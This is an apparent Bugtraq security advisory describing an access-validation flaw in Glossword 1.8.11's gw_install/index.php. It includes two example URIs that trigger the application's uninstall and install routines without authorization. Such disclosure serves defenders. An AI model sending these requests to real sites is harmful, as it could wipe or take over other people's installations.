Glossword 'gw_install/index.php' Security Bypass Vulnerability

Bugtraq ID:	35621
Class:	Access Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jul 09 2009 12:00AM
Updated:	Jul 10 2009 05:16PM
Credit:	Evil-Cod3r
Vulnerable:	Glossword Glossword 1.8.11
Not Vulnerable:

Glossword 'gw_install/index.php' Security Bypass Vulnerability

Glossword is prone to a security-bypass vulnerability that may allow attackers to perform actions without proper authorization.

Attackers can exploit this issue to bypass security restrictions to install and uninstall the application.

This issue affects Glossword 1.8.11; other versions may also be affected.

Glossword 'gw_install/index.php' Security Bypass Vulnerability

Attackers can exploit this issue via a browser.

The following example URIs are available:

http://www.example.com/path/gw_install/index.php?arg[il]=english&arg[target]=uninstall
http://www.example.com/path/gw_install/index.php?arg[il]=english&arg[target]=install

Glossword 'gw_install/index.php' Security Bypass Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Glossword 'gw_install/index.php' Security Bypass Vulnerability

References:

• Glossword Sourceforge Page (Glossword)